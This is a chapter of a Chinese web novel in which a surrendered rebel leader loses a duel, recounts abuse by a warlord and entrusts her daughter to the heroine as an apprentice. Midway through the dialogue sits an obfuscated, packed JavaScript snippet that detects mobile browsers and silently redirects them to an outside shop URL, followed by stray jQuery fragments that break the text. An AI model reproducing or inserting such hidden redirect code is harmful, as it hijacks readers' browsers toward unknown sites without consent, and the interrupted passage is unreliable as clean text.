秀书玉慢踱进来,一身素衣宛如三月梨蕊,倒生出几分可怜。
安纯茹二人相望无言,只是静静看着。
秀书玉突然双膝跪下,身形挺直。身后的季明御犹豫一瞬也跪了下去。
安纯茹不理解,站起问道:“这,这是做什么?”
秀书玉抬起头,十分诚恳:“我来请罪。”
“请罪?”安纯茹更是疑惑,“你在玩什么把戏?”
前几天气势汹汹的反叛军突然投降,实在是太诡异了吧。
秀书玉道:“我之前生有歹念,还妄想造反夺权。如今我已经醒悟,特来向主君请罪,无论如何刑法臣下绝无异议!”说完她恭敬一拜,不肯起身。
季明御没说话,跟着秀书玉一起拜下。
安纯茹头大,回头看季明誉,无声道:什么情况?
季明誉耸肩,表示不知道。
僵持好几秒后,二人还没有起身的意思,季明誉只好道:“那你们起来吧。”
秀书玉依旧不起,道:“臣下有一事相求,望主君成全。”
季明誉准许,安纯茹也坐回位置。
秀书玉抬起头道:“臣下恳求主君与小女切磋一番,无论胜负,只求一试!”
季明御也抬起头,有些不情愿但还算恭敬拱手:“愿主君成全。”
季明誉放下手中军务反问:“想怎么比?”
季明御道:“无剑肉搏,地下停留五秒则为败者。”
安纯茹感到奇怪,这不就是江湖版拳击吗?母女俩葫芦里卖的什么药她真一点也分不清。
季明誉点头:“可以,还有什么条件?”
秀书玉道:“不可下死手,点到为止,愿赌服输。”
季明誉站起就要出去,安纯茹从后拉住他小声问道:“你要比?不怕她们耍什么阴招吗?”
季明誉轻松一笑:“一个主君要想收服部下,一味怕死可不行。”
闻言安纯茹松了手,原先担忧的眼神转为鼓励。
两人出了营帐,全部换成简易服侍。季明御活动筋骨,眼中带着势必拿下的决心。反过来季明誉则沉稳多了。
安纯茹倒吸一口凉气。
秀书玉走去向她恭敬拂礼,笑道:“安大人放心便好,我们绝不会用腌臜手段的。”
安纯茹没心思随便点了点头,眼睛始终没有离开季明誉二人。
季明御率先发起攻击,起身一跃揽住季明誉的肩膀意图过肩摔。她的力量绝对练过,安纯茹实在是太有领教了。
季明誉底盘很稳,轻微一歪便恢复身形。他狠狠抓住企图跑开的季明御手臂,使力一拉,抬脚踹她的肚子。
季明御侧身闪过,反手狠拉,速度很快,季明誉还未反应过来便被她踹出几步。
她得意一笑,趁着季明誉不稳冲过去,双手钳制住他肩膀就要扔出去。
安纯茹紧捏一把汗,嘴唇蠕动却没发出半点声音。
只是一瞬季明誉就从其中脱身,翻身绕至季明御背后,瞬间压制。季明御就这样在吃惊中被摔到地上,动弹不得。
沉寂的五秒,众人屏息凝视。
季明誉松开拉起季明御,待她稳住后才退开。
安纯茹急忙过去问:“没伤到骨头吧?我看她刚才捏你肩膀力气好大!”
季明誉笑了,道:“无碍,就算伤了好的也快。”
安纯茹跺脚:“知不知道伤筋动骨一百天啊!”
年轻不是任性资本!
她说话间听到几声抽噎,回头竟是季明御,此刻扑在秀书玉怀中,喃喃道:“我输了,我怎么会输?我怎么会输!”
秀书玉柔声哄着,没有责怪,反而多了几分释然。
她回头看向安纯茹歉意一笑,这次笑容很真诚,还有点温暖。
但季明御的哭声越来越大,已经达到忘我境界。
安纯茹叹息,十几岁孩子心气最高,的确不好接受自己失败的事实。
她犹豫再三还是叫她们一起进了营帐,还吩咐了凳子。
说实话安纯茹是真想知道母女俩要干什么,等着季明御哭声渐止她才试探问道:“现下比完了,可以说说你们的意图了吧。”
秀书玉轻叹:“说起来是十几年的旧事了。”
“我当初带着孩子逃亡时曾遇一算命先生,他说孩子眉间汇聚金光,是大吉之召。他说可以取名为明御,将来必有一番作为。”
她苦笑道:“我信以为真,听到季贼被杀的消息,想着为御儿搏一搏。”她又抬头看向季明誉,“但如今看来有为却非天子。”
安纯茹一整个恍然大悟,其实她作为一个现代人不太能理解这种执念,谁会因为算命的执着十几年啊。
不过她转念一想,如果换算成高考必能上岸就很正常了耶。
安纯茹于是肯定点头。但有一事她还是不明白,看着秀书玉怀中的季明御问道:“那她真是季氏后人?”
秀书玉苦涩摇头,一手捧着季明御的脸:“她姓秀,不姓季。”
“怪我一时贪念…”
秀明御…
安纯茹瞬间猜想出一种可能,会不会秀书玉也是被掳来的,她小心问道:“你也是被他逼迫的?”
秀书玉神情又恢复冷淡,道:“我当初婚嫁不久,季老贼恰好在我们据点修整。当地人感念他为民争斗都自发款待,我和我的夫君也不例外。”
她神情变得痛苦,眼神之间尽是落寞:“他看上我,杀了我夫君,逼我做妾…”
季明誉听到此言眼神也黯淡下去,他的母亲也是被强抢做妾。
秀书玉继续道:“可我怀了孩子,他逼我打掉,我不肯,这可是我夫君唯一的血脉!”
她似乎想到什么痛苦记忆,眼神缓缓失焦,低声道:“对我百般折磨…”
“我感觉我活的像个牲口!”
她怀中的秀明御紧紧环住她,看的出秀明御什么都知道。
“所以我想要权利,这才失了心智。”
季明誉突然开头:“那为什么你能掌管和县,他能容得下你?”
秀书玉摇头:“我逃亡途中就被抓回去,幸好季夫人相护。后面慢慢他对我也失了兴趣,季夫人替我求得恩典,我才离开那样魔窟!”
季明誉低眉不语。
安纯茹知道他在想什么,季夫人的确是个好人。
营内继续沉默,直到最后结束都没有人再开口。
秀书玉被安纯茹留下治断毒散,她的确心软了,单亲妈妈带着挚爱遗子乱世生存,实在没有什么比这更戳动她的心弦。
季明誉许是想到还在庄子上卧病的母亲,也是郁郁寡欢。
安纯茹想安慰又不知如何开口,只好送走他的背影,心中很懊恼,懊恼前世怎么没熟读高情商表达大全?!
她踢着石子回了自己营帐,躺在床铺上心情也不大好。
尤其想到季明誉和秀书玉两人一模一样的落寞神情,她就感觉心闷。
死季老贼,真是个禽兽!!!
突然她好想找个人说话,随便谁也行。这时她想到死人系统,也没抱多少希望敲敲:“系统?”
系统一下出现:Hello,宿主大大!
安纯茹没心思逗嘴:“陪我说会儿话呗。”
“你说我到底还有多久才能回家。”她烦躁看着帐顶,“也不知道我爸咳嗽好些了吗?”
系统:放心吧宿主,你成功回去后时间也就过了一下午,绝不会影响正常生活的!
依旧没心没肺语气,安纯茹都懒得理了。
“玉玺!玉玺!到底谁他妈拿了啊!”她气愤抓头。
“到底是谁!真是烦死了!”
系统明显被吓:那个…稍安勿躁啊。
安纯茹一记怨恨目光射去,如果没有系统哪里有这些麻烦事!
她指着骂道:“滚,别让我看见你!”
系统灰溜溜消失,但安纯茹心情更加糟糕。
她不明白自己为何命有此劫。
门帘吊铃响起,秀书玉的声音传来:“我可以进来吗?”
安纯茹急忙掩住刚才情绪:“嗯,进来吧。”
秀书玉很小心地观察着她,轻声问道:“你没事吧,脸色很差…”
安纯茹僵硬回道:“没什么。”
她的自尊没法对一个陌生人哭诉,即使自己再痛苦。
“那你刚才是在自言自语吗?我…”
安纯茹冷漠眼神过去秀书玉立马止住:“不好意思,我不该妄论的。”
安纯茹心情更糟糕,硬邦邦点头。
秀书玉道:“我来求见安大人是有一事相托。”
“什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557052|204467||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
安纯茹不解,“你已招安主君不会严惩你的,就算要我也没法说情。”
秀书玉怅然摇头,慢慢褪去外衣,雪白肌肤裸露,肩膀上好几处结痂,她悲戚道:“我想将明御托付给大人。”
安纯茹很震惊,这些伤口虽小但密密麻麻十分骇人,无措道:“什么意思?我,我不太明白。”
“我时日无多,求安大人收明御为徒,磨磨她的性子,以后也能为主君霸业出力。”
安纯茹道:“这些伤怎么回事?你是因为这些才……时日无多的吗?”
秀书玉双眸蒙有水雾,还是挤出笑容道:“这些都是当年季贼所留,不只这几处,全身上下几乎没有幸免的。里面有钉器,全部深入骨髓,治不好,也活不久。这些天我身子愈发虚弱,可能真的陪伴不了明御多久了…”
越到后面越哽咽,她郑重跪下:“请大人收下明御,让她有所依靠。”
安纯茹闷闷道:“你就这么信任我?”
秀书玉真挚道:“主君有帝王威严,安大人则善心记心,从上次交换解药我能感受到。”
安纯茹哑言,她说的应该是给药那次吧。
说实话她当时很敬佩秀书玉为了救女喝下毒酒的决然,没想什么就给了。
见她不语,秀书玉膝行至前:“我知道玉玺的线索,不知能否为大人解忧。”
安纯茹现在压根没心思管玉玺,只是思索秀明御一事。
秀书玉急道:“我见过玉玺,十几年前逃亡的时候,在李家的俘虏营里面!”
安纯茹揉揉额头:“其实…”
秀书玉打断:“我本想偷来,可是后面那个人就不见了,我打听说是被杀了。虽然时间久远但我肯定是李家拿走灭的口,玉玺一定还在他们手上!”
她哭出声:“求你收下明御吧,她才十五岁什么都不懂,无人依靠怎么在乱世生存下去啊!”
有点道德绑架的意思,但安纯茹竟然…竟然真的动了恻隐之心。
半晌她道:“好……我答应,你先起来好不好?”
秀书玉被安纯茹扶着慢慢起身,身子本就弱,情绪又遭此剧烈起伏,原本苍白的脸已无一丝血色。
“谢谢你,你就是明御的恩人,我的恩人!”
安纯茹还是难受:“那她知道吗?”
“知道的,她也愿意拜你为师!先前她对你有所得罪不过是小孩子心性,大人好好管教我也绝无二话!只求保她在自立之前能够顺遂…”
安纯茹打断:“她知道你受伤的事吗?”
原本还絮絮叨叨的秀书玉怔住:“不知道…”
安纯茹问:“你打算一直瞒着,直到死吗?”
她好似从秀书玉眼中看到自己的妈妈,为了女儿可以付出一切的妈妈。
秀书玉也是看中她感性这一缺点,安纯茹问自己是利用吗,好像不是,不过是一个母亲为女儿算计后路罢了。
她无奈叹息,甘愿做了棋子。
秀书玉目光躲闪,也是叹息:“知道了也无力改变,不如不说。”
“我尊重你,我也不说,我会收她为徒。”
安纯茹踌躇道:“但我认为主君应该有知情权。”
“好,主君无论如何惩罚我绝无怨言!”
晚间静谧,所有人各执心事,一夜无眠。
第二日季明誉和安纯茹已经恢复状态,开始处理和县后事。
在得知秀书玉的事后季明誉没有阻止,还免了秀书玉的反贼大罪继续担任和县县主,但其余惩罚依旧,要让所有人引以为戒。
季明誉说道:“她筹谋许久,如今悔过,原谅倒比赶尽杀绝好。”
他抬头笑道:“那你有两个徒弟了?”
“啥两个?我就收秀明御啊。”安纯茹没懂。
季明誉道:“我不是你第一个徒弟吗?”
安纯茹无语:“你要当就当吧,我反正师父做的一个也没少对吧?”
说话间秀书玉带着秀明御进来,行了师徒拜礼,不日与安纯茹一起离开。
一切总算尘埃落定,安纯茹二人带兵回了季府,不同的是这次多了一个人。
看着秀明御还有些局促的样子安纯茹还是忘不了那天出发时的情景。
秀书玉哭着挥手,目送至她们完全消失。
“明御!好生保重!”